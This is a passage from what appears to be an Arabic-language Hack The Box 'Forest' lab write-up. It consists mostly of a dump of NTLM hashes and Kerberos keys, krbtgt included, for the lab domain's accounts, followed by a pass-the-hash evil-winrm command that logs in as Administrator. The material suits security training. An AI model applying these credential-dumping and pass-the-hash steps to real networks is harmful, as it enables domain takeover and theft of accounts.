htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
mhzcyber:7603:aad3b435b51404eeaad3b435b51404ee:d125f87e011e94befd9c2e95cd7bf6d8:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:c98c4ac523194ebdb86a7009a48a3869:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
mhzcyber:aes256-cts-hmac-sha1-96:30671286f1beefe4220f5246e81986b5a6c95c8d715aeeeb1b5f5b2119d80f54
mhzcyber:aes128-cts-hmac-sha1-96:09b0da7b45273c09114d6d8da09fc8cf
mhzcyber:des-cbc-md5:badf3761bccb37c7
FOREST$:aes256-cts-hmac-sha1-96:0925c00de36b6564a91e1a4eba0728f775194644fbbb73df01ba0a81957f5d91
FOREST$:aes128-cts-hmac-sha1-96:23b1ec84e827ca0ecf5557442076ac6a
FOREST$:des-cbc-md5:c8132fbf73c71fa8
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...اخدنا ال hashes ممكن نعمل عدة شغلات هلق, اسهلها و اسرعها هي PtH او Pass the Hash و الي هي انك بتبعت الهاش بدل الباسورد رح استخدم evil-winrm متل ما عملنا من قبل, بس هي المرة بدون كلمة سر
evil-winrm -i 10.10.10.161 -u 'Administrator' -H 32693b11e6aa90eb43d32c72a07ceea6عموما هيك خلصنا, في شوية تكنيكات مذكورة حابب ابقى اشرحهم بشكل معمق اكتر, لأجل التسلية بس عموما هي كانت سهلة مافي شي صعب, اكيد انت بتعرف كيف تروح تجيب ال flag لحالك
Happy Hacking
MHZ-Cyber
Last updated
